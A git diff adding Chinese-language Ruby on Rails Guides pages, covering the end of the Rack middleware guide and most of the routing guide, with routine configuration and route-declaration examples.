+config.middleware.insert_after ActiveRecord::QueryCache, Lifo::Cache, page_cache: false
+
+
+
+
3.2.2 替换中间件

可以使用 config.middleware.swap 替换中间件栈里的现有中间件:

+
+# config/application.rb
+
+# 把 ActionDispatch::ShowExceptions 换成 Lifo::ShowExceptions
+config.middleware.swap ActionDispatch::ShowExceptions, Lifo::ShowExceptions
+
+
+
+
3.2.3 删除中间件

在应用的配置文件中添加下面这行代码:

+
+# config/application.rb
+config.middleware.delete Rack::Runtime
+
+
+
+

然后审查中间件栈,你会发现没有 Rack::Runtime 了:

+
+$ bin/rails middleware
+(in /Users/lifo/Rails/blog)
+use ActionDispatch::Static
+use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x00000001c304c8>
+use Rack::Runtime
+...
+run Rails.application.routes
+
+
+
+

若想删除会话相关的中间件,这么做:

+
+# config/application.rb
+config.middleware.delete ActionDispatch::Cookies
+config.middleware.delete ActionDispatch::Session::CookieStore
+config.middleware.delete ActionDispatch::Flash
+
+
+
+

若想删除浏览器相关的中间件,这么做:

+
+# config/application.rb
+config.middleware.delete Rack::MethodOverride
+
+
+
+

3.3 内部中间件栈

Action Controller 的大部分功能都实现成中间件。下面概述它们的作用。

Rack::Sendfile
+在服务器端设定 X-Sendfile 首部。通过 config.action_dispatch.x_sendfile_header 选项配置。

ActionDispatch::Static
+用于伺服 public 目录中的静态文件。如果把 config.public_file_server.enabled 设为 false,禁用这个中间件。

Rack::Lock
+把 env["rack.multithread"] 设为 false,把应用包装到 Mutex 中。

ActionDispatch::Executor
+用于在开发环境中以线程安全方式重新加载代码。

ActiveSupport::Cache::Strategy::LocalCache::Middleware
+用于缓存内存。这个缓存对线程不安全。

Rack::Runtime
+设定 X-Runtime 首部,包含执行请求的用时(单位为秒)。

Rack::MethodOverride
+如果设定了 params[:_method],允许覆盖请求方法。PUTDELETE 两个 HTTP 方法就是通过这个中间件提供支持的。

ActionDispatch::RequestId
+在响应中设定唯一的 X-Request-Id 首部,并启用 ActionDispatch::Request#request_id 方法。

Rails::Rack::Logger
+通知日志,请求开始了。请求完毕后,清空所有相关日志。

ActionDispatch::ShowExceptions
+拯救应用返回的所有异常,调用处理异常的应用,把异常包装成对终端用户友好的格式。

ActionDispatch::DebugExceptions
+如果是本地请求,负责在日志中记录异常,并显示调试页面。

ActionDispatch::RemoteIp
+检查 IP 欺骗攻击。

ActionDispatch::Reloader
+提供准备和清理回调,目的是在开发环境中协助重新加载代码。

ActionDispatch::Callbacks
+提供回调,在分派请求前后执行。

ActiveRecord::Migration::CheckPending
+检查有没有待运行的迁移,如果有,抛出 ActiveRecord::PendingMigrationError

ActiveRecord::ConnectionAdapters::ConnectionManagement
+如果没在请求环境中把 rack.test 键设为 true,每次请求后清理活跃连接。

ActiveRecord::QueryCache
+启用 Active Record 查询缓存。

ActionDispatch::Cookies
+为请求设定 cookie。

ActionDispatch::Session::CookieStore
+负责把会话存储在 cookie 中。

ActionDispatch::Flash
+设置闪现消息的键。仅当为 config.action_controller.session_store 设定值时才启用。

Rack::Head
+把 HEAD 请求转换成 GET 请求,然后伺服 GET 请求。

Rack::ConditionalGet
+支持“条件 GET 请求”,如果页面没变,服务器不做响应。

Rack::ETag
+为所有字符串主体添加 ETag 首部。ETag 用于验证缓存。

在自定义的 Rack 栈中可以使用上述任何一个中间件。

4 资源

4.1 学习 Rack

+ +

4.2 理解中间件

+ + + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/v5.0/routing.html b/v5.0/routing.html new file mode 100644 index 0000000..c5cd82f --- /dev/null +++ b/v5.0/routing.html @@ -0,0 +1,1671 @@ + + + + + + + +Rails 路由全解 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + More Ruby on Rails + + +
+
+ +
+ +
+
+

Rails 路由全解

本文介绍 Rails 路由面向用户的特性。

读完本文后,您将学到:

+
    +
  • 如何理解 config/routes.rb 文件中的代码;

  • +
  • 如何使用推荐的资源式风格或 match 方法构建路由;

  • +
  • 控制器动作预期收到什么参数;

  • +
  • 如何使用路由辅助方法自动创建路径和 URL 地址;

  • +
  • 约束和 Rack 端点等高级技术。

  • +
+ + + + +
+
+ +
+
+
+

1 Rails 路由的用途

Rails 路由能够识别 URL 地址,并把它们分派给控制器动作进行处理。它还能生成路径和 URL 地址,从而避免在视图中硬编码字符串。

1.1 把 URL 地址连接到代码

当 Rails 应用收到下面的请求时:

+
+GET /patients/17
+
+
+
+

会查询路由,找到匹配的控制器动作。如果第一个匹配的路由是:

+
+get '/patients/:id', to: 'patients#show'
+
+
+
+

该请求会被分派给 patients 控制器的 show 动作,同时把 { id: '17' } 传入 params

1.2 从代码生成路径和 URL 地址

Rails 路由还可以生成路径和 URL 地址。如果把上面的路由修改为:

+
+get '/patients/:id', to: 'patients#show', as: 'patient'
+
+
+
+

并且在控制器中包含下面的代码:

+
+@patient = Patient.find(17)
+
+
+
+

同时在对应的视图中包含下面的代码:

+
+<%= link_to 'Patient Record', patient_path(@patient) %>
+
+
+
+

那么路由会生成路径 /patients/17。这种方式使视图代码更容易维护和理解。注意,在路由辅助方法中不需要指定 ID。

2 资源路由:Rails 的默认风格

资源路由(resource routing)允许我们为资源式控制器快速声明所有常见路由。只需一行代码即可完成资源路由的声明,无需为 indexshowneweditcreateupdatedestroy 动作分别声明路由。

2.1 网络资源

浏览器使用特定的 HTTP 方法向 Rails 应用请求页面,例如 GETPOSTPATCHPUTDELETE。每个 HTTP 方法对应对资源的一种操作。资源路由会把多个相关请求映射到单个控制器的不同动作上。

当 Rails 应用收到下面的请求:

+
+DELETE /photos/17
+
+
+
+

会查询路由,并把请求映射到控制器动作上。如果第一个匹配的路由是:

+
+resources :photos
+
+
+
+

Rails 会把请求分派给 photos 控制器的 destroy 动作,并把 { id: '17' } 传入 params

2.2 CRUD、HTTP 方法和控制器动作

在 Rails 中,资源路由把 HTTP 方法和 URL 地址映射到控制器动作上。按照约定,每个控制器动作也会映射到对应的数据库 CRUD 操作上。路由文件中的单行声明,例如:

+
+resources :photos
+
+
+
+

会在应用中创建 7 个不同的路由,这些路由都会映射到 Photos 控制器上。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HTTP 方法路径控制器#动作用途
GET/photosphotos#index显示所有照片的列表
GET/photos/newphotos#new返回用于新建照片的 HTML 表单
POST/photosphotos#create新建照片
GET/photos/:idphotos#show显示指定照片
GET/photos/:id/editphotos#edit返回用于修改照片的 HTML 表单
PATCH/PUT/photos/:idphotos#update更新指定照片
DELETE/photos/:idphotos#destroy删除指定照片
+

因为路由使用 HTTP 方法和 URL 地址来匹配请求,所以 4 个 URL 地址会映射到 7 个不同的控制器动作上。

Rails 路由按照声明顺序进行匹配。如果 resources :photos 声明在先,get 'photos/poll' 声明在后,那么由前者声明的 show 动作的路由会先于后者匹配。要想匹配 get 'photos/poll',就必须将其移到 resources :photos 之前。

2.3 用于生成路径和 URL 地址的辅助方法

在创建资源路由时,会同时创建多个可以在控制器中使用的辅助方法。例如,在创建 resources :photos 路由时,会同时创建下面的辅助方法:

+
    +
  • photos_path 辅助方法,返回值为 /photos

  • +
  • new_photo_path 辅助方法,返回值为 /photos/new

  • +
  • edit_photo_path(:id) 辅助方法,返回值为 /photos/:id/edit(例如,edit_photo_path(10) 的返回值为 /photos/10/edit

  • +
  • photo_path(:id) 辅助方法,返回值为 /photos/:id(例如,photo_path(10) 的返回值为 /photos/10

  • +
+

这些辅助方法都有对应的 _url 形式(例如 photos_url)。前者的返回值是路径,后者的返回值是路径加上由当前的主机名、端口和路径前缀组成的前缀。

2.4 同时定义多个资源

如果需要为多个资源创建路由,可以只调用一次 resources 方法,节约一点敲键盘的时间。

+
+resources :photos, :books, :videos
+
+
+
+

上面的代码等价于:

+
+resources :photos
+resources :books
+resources :videos
+
+
+
+

2.5 单数资源

有时我们希望不使用 ID 就能查找资源。例如,让 /profile 总是显示当前登录用户的个人信息。这种情况下,我们可以使用单数资源来把 /profile 而不是 /profile/:id 映射到 show 动作:

+
+get 'profile', to: 'users#show'
+
+
+
+

如果 get 方法的 to 选项的值是字符串,那么这个字符串应该使用 controller#action 格式。如果 to 选项的值是表示动作的符号,那么还需要使用 controller 选项指定控制器:

+
+get 'profile', to: :show, controller: 'users'
+
+
+
+

下面的资源路由:

+
+resource :geocoder
+
+
+
+

会在应用中创建 6 个不同的路由,这些路由会映射到 Geocoders 控制器的动作上:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HTTP 方法路径控制器#动作用途
GET/geocoder/newgeocoders#new返回用于创建 geocoder 的 HTML 表单
POST/geocodergeocoders#create新建 geocoder
GET/geocodergeocoders#show显示唯一的 geocoder 资源
GET/geocoder/editgeocoders#edit返回用于修改 geocoder 的 HTML 表单
PATCH/PUT/geocodergeocoders#update更新唯一的 geocoder 资源
DELETE/geocodergeocoders#destroy删除 geocoder 资源
+

有时我们想要用同一个控制器处理单数路由(如 /account)和复数路由(如 /accounts/45),也就是把单数资源映射到复数资源对应的控制器上。例如,resource :photo 创建的单数路由和 resources :photos 创建的复数路由都会映射到相同的 Photos 控制器上。

在创建单数资源路由时,会同时创建下面的辅助方法:

+
    +
  • new_geocoder_path 辅助方法,返回值是 /geocoder/new

  • +
  • edit_geocoder_path 辅助方法,返回值是 /geocoder/edit

  • +
  • geocoder_path 辅助方法,返回值是 /geocoder

  • +
+

和创建复数资源路由时一样,上面这些辅助方法都有对应的 _url 形式,其返回值也包含了主机名、端口和路径前缀。

有一个长期存在的缺陷使 form_for 辅助方法无法自动处理单数资源。有一个解决方案是直接指定表单 URL,例如:

+
+
+
+form_for @geocoder, url: geocoder_path do |f|
+
+# 为了行文简洁,省略以下内容
+
+
+
+
+

2.6 控制器命名空间和路由

有时我们会把一组控制器放入同一个命名空间中。最常见的例子,是把和管理相关的控制器放入 Admin:: 命名空间中。为此,我们可以把控制器文件放在 app/controllers/admin 文件夹中,然后在路由文件中作如下声明:

+
+namespace :admin do
+  resources :articles, :comments
+end
+
+
+
+

上面的代码会为 articlescomments 控制器分别创建多个路由。对于 Admin::Articles 控制器,Rails 会创建下列路由:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HTTP 方法路径控制器#动作具名辅助方法
GET/admin/articlesadmin/articles#indexadmin_articles_path
GET/admin/articles/newadmin/articles#newnew_admin_article_path
POST/admin/articlesadmin/articles#createadmin_articles_path
GET/admin/articles/:idadmin/articles#showadmin_article_path(:id)
GET/admin/articles/:id/editadmin/articles#editedit_admin_article_path(:id)
PATCH/PUT/admin/articles/:idadmin/articles#updateadmin_article_path(:id)
DELETE/admin/articles/:idadmin/articles#destroyadmin_article_path(:id)
+

如果想把 /articles 路径(不带 /admin 前缀) 映射到 Admin::Articles 控制器上,可以这样声明:

+
+scope module: 'admin' do
+  resources :articles, :comments
+end
+
+
+
+

对于单个资源的情况,还可以这样声明:

+
+resources :articles, module: 'admin'
+
+
+
+

如果想把 /admin/articles 路径映射到 Articles 控制器上(不带 Admin:: 前缀),可以这样声明:

+
+scope '/admin' do
+  resources :articles, :comments
+end
+
+
+
+

对于单个资源的情况,还可以这样声明:

+
+resources :articles, path: '/admin/articles'
+
+
+
+

在上述各个例子中,不管是否使用了 scope 方法,具名路由都保持不变。在最后一个例子中,下列路径都会映射到 Articles 控制器上:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HTTP 方法路径控制器#动作具名辅助方法
GET/admin/articlesarticles#indexarticles_path
GET/admin/articles/newarticles#newnew_article_path
POST/admin/articlesarticles#createarticles_path
GET/admin/articles/:idarticles#showarticle_path(:id)
GET/admin/articles/:id/editarticles#editedit_article_path(:id)
PATCH/PUT/admin/articles/:idarticles#updatearticle_path(:id)
DELETE/admin/articles/:idarticles#destroyarticle_path(:id)
+

如果想在命名空间代码块中使用另一个控制器命名空间,可以指定控制器的绝对路径,例如 get '/foo' => '/foo#index'

2.7 嵌套资源

有的资源是其他资源的子资源,这种情况很常见。例如,假设我们的应用中包含下列模型:

+
+class Magazine < ApplicationRecord
+  has_many :ads
+end
+
+class Ad < ApplicationRecord
+  belongs_to :magazine
+end
+
+
+
+

通过嵌套路由,我们可以在路由中反映模型关联。在本例中,我们可以这样声明路由:

+
+resources :magazines do
+  resources :ads
+end
+
+
+
+

上面的代码不仅为 magazines 创建了路由,还创建了映射到 Ads 控制器的路由。在 ad 的 URL 地址中,需要指定对应的 magazine 的 ID:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HTTP 方法路径控制器#动作用途
GET/magazines/:magazine_id/adsads#index显示指定杂志的所有广告的列表
GET/magazines/:magazine_id/ads/newads#new返回为指定杂志新建广告的 HTML 表单
POST/magazines/:magazine_id/adsads#create为指定杂志新建广告
GET/magazines/:magazine_id/ads/:idads#show显示指定杂志的指定广告
GET/magazines/:magazine_id/ads/:id/editads#edit返回用于修改指定杂志的广告的 HTML 表单
PATCH/PUT/magazines/:magazine_id/ads/:idads#update更新指定杂志的指定广告
DELETE/magazines/:magazine_id/ads/:idads#destroy删除指定杂志的指定广告
+

在创建路由的同时,还会创建 magazine_ads_urledit_magazine_ad_path 等路由辅助方法。这些辅助方法以 Magazine 类的实例作为第一个参数,例如 magazine_ads_url(http://github.com/@magazine)

2.7.1 嵌套限制

我们可以在嵌套资源中继续嵌套资源。例如:

+
+resources :publishers do
+  resources :magazines do
+    resources :photos
+  end
+end
+
+
+
+

随着嵌套层级的增加,嵌套资源的处理会变得很困难。例如,下面这个路径:

+
+/publishers/1/magazines/2/photos/3
+
+
+
+

对应的路由辅助方法是 publisher_magazine_photo_url,需要指定三层对象。这种用法很容易就把人搞糊涂了,为此,Jamis Buck 在一篇广为流传的文章中提出了使用嵌套路由的经验法则:

嵌套资源的层级不应超过 1 层。

2.7.2 浅层嵌套

如前文所述,避免深层嵌套(deep nesting)的方法之一,是把动作集合放在在父资源中,这样既可以表明层级关系,又不必嵌套成员动作。换句话说,只用最少的信息创建路由,同样可以唯一地标识资源,例如:

+
+resources :articles do
+  resources :comments, only: [:index, :new, :create]
+end
+resources :comments, only: [:show, :edit, :update, :destroy]
+
+
+
+

这种方式在描述性路由(descriptive route)和深层嵌套之间取得了平衡。上面的代码还有简易写法,即使用 :shallow 选项:

+
+resources :articles do
+  resources :comments, shallow: true
+end
+
+
+
+

这两种写法创建的路由完全相同。我们还可以在父资源中使用 :shallow 选项,这样会在所有嵌套的子资源中应用 :shallow 选项:

+
+resources :articles, shallow: true do
+  resources :comments
+  resources :quotes
+  resources :drafts
+end
+
+
+
+

可以用 shallow 方法创建作用域,使其中的所有嵌套都成为浅层嵌套。通过这种方式创建的路由,仍然和上面的例子相同:

+
+shallow do
+  resources :articles do
+    resources :comments
+    resources :quotes
+    resources :drafts
+  end
+end
+
+
+
+

scope 方法有两个选项用于自定义浅层路由。:shallow_path 选项会为成员路径添加指定前缀:

+
+scope shallow_path: "sekret" do
+  resources :articles do
+    resources :comments, shallow: true
+  end
+end
+
+
+
+

上面的代码会为 comments 资源生成下列路由:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HTTP 方法路径控制器#动作具名辅助方法
GET/articles/:article_id/comments(.:format)comments#indexarticle_comments_path
POST/articles/:article_id/comments(.:format)comments#createarticle_comments_path
GET/articles/:article_id/comments/new(.:format)comments#newnew_article_comment_path
GET/sekret/comments/:id/edit(.:format)comments#editedit_comment_path
GET/sekret/comments/:id(.:format)comments#showcomment_path
PATCH/PUT/sekret/comments/:id(.:format)comments#updatecomment_path
DELETE/sekret/comments/:id(.:format)comments#destroycomment_path
+

:shallow_prefix 选项会为具名辅助方法添加指定前缀:

+
+scope shallow_prefix: "sekret" do
+  resources :articles do
+    resources :comments, shallow: true
+  end
+end
+
+
+
+

上面的代码会为 comments 资源生成下列路由:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HTTP 方法路径控制器#动作具名辅助方法
GET/articles/:article_id/comments(.:format)comments#indexarticle_comments_path
POST/articles/:article_id/comments(.:format)comments#createarticle_comments_path
GET/articles/:article_id/comments/new(.:format)comments#newnew_article_comment_path
GET/comments/:id/edit(.:format)comments#editedit_sekret_comment_path
GET/comments/:id(.:format)comments#showsekret_comment_path
PATCH/PUT/comments/:id(.:format)comments#updatesekret_comment_path
DELETE/comments/:id(.:format)comments#destroysekret_comment_path
+

2.8 路由 concern

路由 concern 用于声明公共路由,公共路由可以在其他资源和路由中重复使用。定义路由 concern 的方式如下:

+
+concern :commentable do
+  resources :comments
+end
+
+concern :image_attachable do
+  resources :images, only: :index
+end
+
+
+
+

我们可以在资源中使用已定义的路由 concern,以避免代码重复,并在路由间共享行为:

+
+resources :messages, concerns: :commentable
+
+resources :articles, concerns: [:commentable, :image_attachable]
+
+
+
+

上面的代码等价于:

+
+resources :messages do
+  resources :comments
+end
+
+resources :articles do
+  resources :comments
+  resources :images, only: :index
+end
+
+
+
+

我们还可以在各种路由声明中使用已定义的路由 concern,例如在作用域或命名空间中:

+
+namespace :articles do
+  concerns :commentable
+end
+
+
+
+

2.9 从对象创建路径和 URL 地址

除了使用路由辅助方法,Rails 还可以从参数数组创建路径和 URL 地址。例如,假设有下面的路由:

+
+resources :magazines do
+  resources :ads
+end
+
+
+
+

在使用 magazine_ad_path 方法时,我们可以传入 MagazineAd 的实例,而不是数字 ID:

+
+<%= link_to 'Ad details', magazine_ad_path(@magazine, @ad) %>
+
+
+
+

我们还可以在使用 url_for 方法时传入一组对象,Rails 会自动确定对应的路由:

+
+<%= link_to 'Ad details', url_for([@magazine, @ad]) %>
+
+
+
+

在这种情况下,Rails 知道 @magazineMagazine 的实例,而 @adAd 的实例,因此会使用 magazine_ad_path 辅助方法。在使用 link_to 等辅助方法时,我们可以只指定对象,而不必完整调用 url_for 方法:

+
+<%= link_to 'Ad details', [@magazine, @ad] %>
+
+
+
+

如果想链接到一本杂志,可以直接指定 Magazine 的实例:

+
+<%= link_to 'Magazine details', @magazine %>
+
+
+
+

如果想链接到其他控制器动作,只需把动作名称作为第一个元素插入对象数组即可:

+
+<%= link_to 'Edit Ad', [:edit, @magazine, @ad] %>
+
+
+
+

这样,我们就可以把模型实例看作 URL 地址,这是使用资源式风格最关键的优势之一。

2.10 添加更多 REST 式动作

我们可以使用的路由,并不仅限于 REST 式路由默认创建的那 7 个。我们可以根据需要添加其他路由,包括集合路由(collection route)和成员路由(member route)。

2.10.1 添加成员路由

要添加成员路由,只需在 resource 块中添加 member 块:

+
+resources :photos do
+  member do
+    get 'preview'
+  end
+end
+
+
+
+

通过上述声明,Rails 路由能够识别 /photos/1/preview 路径上的 GET 请求,并把请求映射到 Photos 控制器的 preview 动作上,同时把资源 ID 传入 params[:id],并创建 preview_photo_urlpreview_photo_path 辅助方法。

member 块中,每个成员路由都要指定对应的 HTTP 方法,即 getpatchputpostdelete。如果只有一个成员路由,我们就可以忽略 member 块,直接使用成员路由的 :on 选项。

+
+resources :photos do
+  get 'preview', on: :member
+end
+
+
+
+

如果不使用 :on 选项,创建的成员路由也是相同的,但资源 ID 就必须通过 params[:photo_id] 而不是 params[:id] 来获取了。

2.10.2 添加集合路由

添加集合路由的方式如下:

+
+resources :photos do
+  collection do
+    get 'search'
+  end
+end
+
+
+
+

通过上述声明,Rails 路由能够识别 /photos/search 路径上的 GET 请求,并把请求映射到 Photos 控制器的 search 动作上,同时创建 search_photos_urlsearch_photos_path 辅助方法。

和成员路由一样,我们可以使用集合路由的 :on 选项:

+
+resources :photos do
+  get 'search', on: :collection
+end
+
+
+
+
2.10.3 为附加的 new 动作添加路由

我们可以通过 :on 选项,为附加的 new 动作添加路由:

+
+resources :comments do
+  get 'preview', on: :new
+end
+
+
+
+

通过上述声明,Rails 路由能够识别 /comments/new/preview 路径上的 GET 请求,并把请求映射到 Comments 控制器的 preview 动作上,同时创建 preview_new_comment_urlpreview_new_comment_path 辅助方法。

如果我们为资源路由添加了过多动作,就需要考虑一下,是不是应该声明新资源了。

3 非资源式路由

除了资源路由之外,对于把任意 URL 地址映射到控制器动作的路由,Rails 也提供了强大的支持。和资源路由自动生成一系列路由不同,这时我们需要分别声明各个路由。

尽管我们通常会使用资源路由,但在一些情况下,使用简单路由更为合适。对于不适合使用资源路由的情况,我们也不必强迫自己使用资源路由。

对于把旧系统的 URL 地址映射到新 Rails 应用上的情况,简单路由特别适用。

3.1 绑定参数

在声明普通路由时,我们可以使用符号,将其作为 HTTP 请求的一部分。其中有两个特殊符号::controller 会被映射到控制器的名称上,:action 会被映射到控制器动作的名称上。例如,下面的路由:

+
+get ':controller(/:action(/:id))'
+
+
+
+

在处理 /photos/show/1 请求时(假设这个路由是第一个匹配的路由),会把请求映射到 Photos 控制器的 show 动作上,并把参数 1 传入 params[:id]。而 /photos 请求,也会被这个路由映射到 PhotosController#index 上,因为 :action:id 都在括号中,是可选参数。

3.2 动态片段

在声明普通路由时,我们可以根据需要使用多个动态片段(dynamic segment)。除了 :controller:action,其他动态片段都会传入 params,以便在控制器动作中使用。例如,对于下面的路由:

+
+get ':controller/:action/:id/:user_id'
+
+
+
+

/photos/show/1/2 路径会被映射到 Photos 控制器的 show 动作上。此时,params[:id] 的值是 "1"params[:user_id] 的值是 "2"

:namespace:module 不能用作动态片段。如果需要这一功能,可以通过为控制器添加约束,来匹配所需的命名空间。例如:

+
+
+
+get ':controller(/:action(/:id))', controller: /admin\/[^\/]+/
+
+
+
+
+

默认情况下,在动态片段中不能使用小圆点(.),因为小圆点是格式化路由(formatted route)的分隔符。如果想在动态片段中使用小圆点,可以通过添加约束来实现相同效果,例如,id: /[^\/]+/ 可以匹配除斜线外的一个或多个字符。

3.3 静态片段

在创建路由时,我们可以用不带冒号的片段来指定静态片段(static segment):

+
+get ':controller/:action/:id/with_user/:user_id'
+
+
+
+

这个路由可以响应像 /photos/show/1/with_user/2 这样的路径,此时,params 的值为 { controller: 'photos', action: 'show', id: '1', user_id: '2' }

3.4 查询字符串

params 也包含了查询字符串中的所有参数。例如,对于下面的路由:

+
+get ':controller/:action/:id'
+
+
+
+

/photos/show/1?user_id=2 路径会被映射到 Photos 控制器的 show 动作上,此时,params 的值是 { controller: 'photos', action: 'show', id: '1', user_id: '2' }

3.5 定义默认值

通过定义默认值,我们可以避免在路由声明中显式使用 :controller:action 符号:

+
+get 'photos/:id', to: 'photos#show'
+
+
+
+

这个路由会把 /photos/12 路径映射到 Photos 控制器的 show 动作上。

在路由声明中,我们还可以使用 :defaults 选项(其值为散列)定义更多默认值。对于未声明为动态片段的参数,也可以使用 :defaults 选项。例如:

+
+get 'photos/:id', to: 'photos#show', defaults: { format: 'jpg' }
+
+
+
+

这个路由会把 photos/12 路径映射到 Photos 控制器的 show 动作上,并把 params[:format] 的值设置为 "jpg"

出于安全考虑,Rails 不允许用查询参数来覆盖默认值。只有一种情况下可以覆盖默认值,即通过 URL 路径替换来覆盖动态片段。

3.6 为路由命名

通过 :as 选项,我们可以为路由命名:

+
+get 'exit', to: 'sessions#destroy', as: :logout
+
+
+
+

这个路由声明会创建 logout_pathlogout_url 具名辅助方法。其中,logout_path 辅助方法的返回值是 /exit

通过为路由命名,我们还可以覆盖由资源路由定义的路由辅助方法,例如:

+
+get ':username', to: 'users#show', as: :user
+
+
+
+

这个路由声明会定义 user_path 辅助方法,此方法可以在控制器、辅助方法和视图中使用,其返回值类似 /bob。在 Users 控制器的 show 动作中,params[:username] 的值是用户名。如果不想使用 :username 作为参数名,可以在路由声明中把 :username 改为其他名字。

3.7 HTTP 方法约束

通常,我们应该使用 getpostputpatchdelete 方法来约束路由可以匹配的 HTTP 方法。通过使用 match 方法和 :via 选项,我们可以一次匹配多个 HTTP 方法:

+
+match 'photos', to: 'photos#show', via: [:get, :post]
+
+
+
+

通过 via: :all 选项,路由可以匹配所有 HTTP 方法:

+
+match 'photos', to: 'photos#show', via: :all
+
+
+
+

GETPOST 请求映射到同一个控制器动作上会带来安全隐患。通常,除非有足够的理由,我们应该避免把使用不同 HTTP 方法的所有请求映射到同一个控制器动作上。

Rails 在处理 GET 请求时不会检查 CSRF 令牌。在处理 GET 请求时绝对不可以对数据库进行写操作,更多介绍请参阅 安全指南

3.8 片段约束

我们可以使用 :constraints 选项来约束动态片段的格式:

+
+get 'photos/:id', to: 'photos#show', constraints: { id: /[A-Z]\d{5}/ }
+
+
+
+

这个路由会匹配 /photos/A12345 路径,但不会匹配 /photos/893 路径。此路由还可以简写为:

+
+get 'photos/:id', to: 'photos#show', id: /[A-Z]\d{5}/
+
+
+
+

:constraints 选项的值可以是正则表达式,但不能使用 ^ 符号。例如,下面的路由写法是错误的:

+
+get '/:id', to: 'articles#show', constraints: { id: /^\d/ }
+
+
+
+

其实,使用 ^ 符号也完全没有必要,因为路由总是从头开始匹配。

例如,对于下面的路由,/1-hello-world 路径会被映射到 articles#show 上,而 /david 路径会被映射到 users#show 上:

+
+get '/:id', to: 'articles#show', constraints: { id: /\d.+/ }
+get '/:username', to: 'users#show'
+
+
+
+

3.9 请求约束

如果在请求对象上调用某个方法的返回值是字符串,我们就可以用这个方法来约束路由。

请求约束和片段约束的用法相同:

+
+get 'photos', to: 'photos#index', constraints: { subdomain: 'admin' }
+
+
+
+

我们还可以用块来指定约束:

+
+namespace :admin do
+  constraints subdomain: 'admin' do
+    resources :photos
+  end
+end
+
+
+
+

请求约束(request constraint)的工作原理,是在请求对象上调用和约束条件中散列的键同名的方法,然后比较返回值和散列的值。因此,约束中散列的值和调用方法返回的值的类型应当相同。例如,constraints: { subdomain: 'api' } 会匹配 api 子域名,但是 constraints: { subdomain: :api } 不会匹配 api 子域名,因为后者散列的值是符号,而 request.subdomain 方法的返回值 'api' 是字符串。

格式约束(format constraint)是一个例外:尽管格式约束是在请求对象上调用的方法,但同时也是路径的隐式可选参数(implicit optional parameter)。片段约束的优先级高于格式约束,而格式约束在通过散列指定时仅作为隐式可选参数。例如,get 'foo', constraints: { format: 'json' } 路由会匹配 GET /foo 请求,因为默认情况下格式约束是可选的。尽管如此,我们可以使用 lambda,例如,get 'foo', constraints: lambda { |req| req.format == :json } 路由只匹配显式 JSON 请求。

3.10 高级约束

如果需要更复杂的约束,我们可以使用能够响应 matches? 方法的对象作为约束。假设我们想把所有黑名单用户映射到 Blacklist 控制器,可以这么做:

+
+class BlacklistConstraint
+  def initialize
+    @ips = Blacklist.retrieve_ips
+  end
+
+  def matches?(request)
+    @ips.include?(request.remote_ip)
+  end
+end
+
+Rails.application.routes.draw do
+  get '*path', to: 'blacklist#index',
+    constraints: BlacklistConstraint.new
+end
+
+
+
+

我们还可以用 lambda 来指定约束:

+
+Rails.application.routes.draw do
+  get '*path', to: 'blacklist#index',
+    constraints: lambda { |request| Blacklist.retrieve_ips.include?(request.remote_ip) }
+end
+
+
+
+

在上面两段代码中,matches? 方法和 lambda 都是把请求对象作为参数。

3.11 路由通配符和通配符片段

路由通配符用于指定特殊参数,这一参数会匹配路由的所有剩余部分。例如:

+
+get 'photos/*other', to: 'photos#unknown'
+
+
+
+

这个路由会匹配 photos/12/photos/long/path/to/12 路径,并把 params[:other] 分别设置为 "12""long/path/to/12"。像 *other 这样以星号开头的片段,称作“通配符片段”。

通配符片段可以出现在路由中的任何位置。例如:

+
+get 'books/*section/:title', to: 'books#show'
+
+
+
+

这个路由会匹配 books/some/section/last-words-a-memoir 路径,此时,params[:section] 的值是 'some/section'params[:title] 的值是 'last-words-a-memoir'

严格来说,路由中甚至可以有多个通配符片段,其匹配方式也非常直观。例如:

+
+get '*a/foo/*b', to: 'test#index'
+
+
+
+

会匹配 zoo/woo/foo/bar/baz 路径,此时,params[:a] 的值是 'zoo/woo'params[:b] 的值是 'bar/baz'

get '*pages', to: 'pages#show' 路由在处理 '/foo/bar.json' 请求时,params[:pages] 的值是 'foo/bar',请求格式(request format)是 JSON。如果想让 Rails 按 3.0.x 版本的方式进行匹配,可以使用 format: false 选项,例如:

+
+
+
+get '*pages', to: 'pages#show', format: false
+
+
+
+

如果想强制使用格式约束,或者说让格式约束不再是可选的,我们可以使用 format: true 选项,例如:

+
+
+get '*pages', to: 'pages#show', format: true
+
+
+
+
+

3.12 重定向

在路由中,通过 redirect 辅助方法可以把一个路径重定向到另一个路径:

+
+get '/stories', to: redirect('/articles')
+
+
+
+

在重定向的目标路径中,可以使用源路径中的动态片段:

+
+get '/stories/:name', to: redirect('/articles/%{name}')
+
+
+
+

我们还可以重定向到块,这个块可以接受符号化的路径参数和请求对象:

+
+get '/stories/:name', to: redirect { |path_params, req| "/articles/#{path_params[:name].pluralize}" }
+get '/stories', to: redirect { |path_params, req| "/articles/#{req.subdomain}" }
+
+
+
+

请注意,redirect 重定向默认是 301 永久重定向,有些浏览器或代理服务器会缓存这种类型的重定向,从而导致无法访问重定向前的网页。为了避免这种情况,我们可以使用 :status 选项修改响应状态:

+
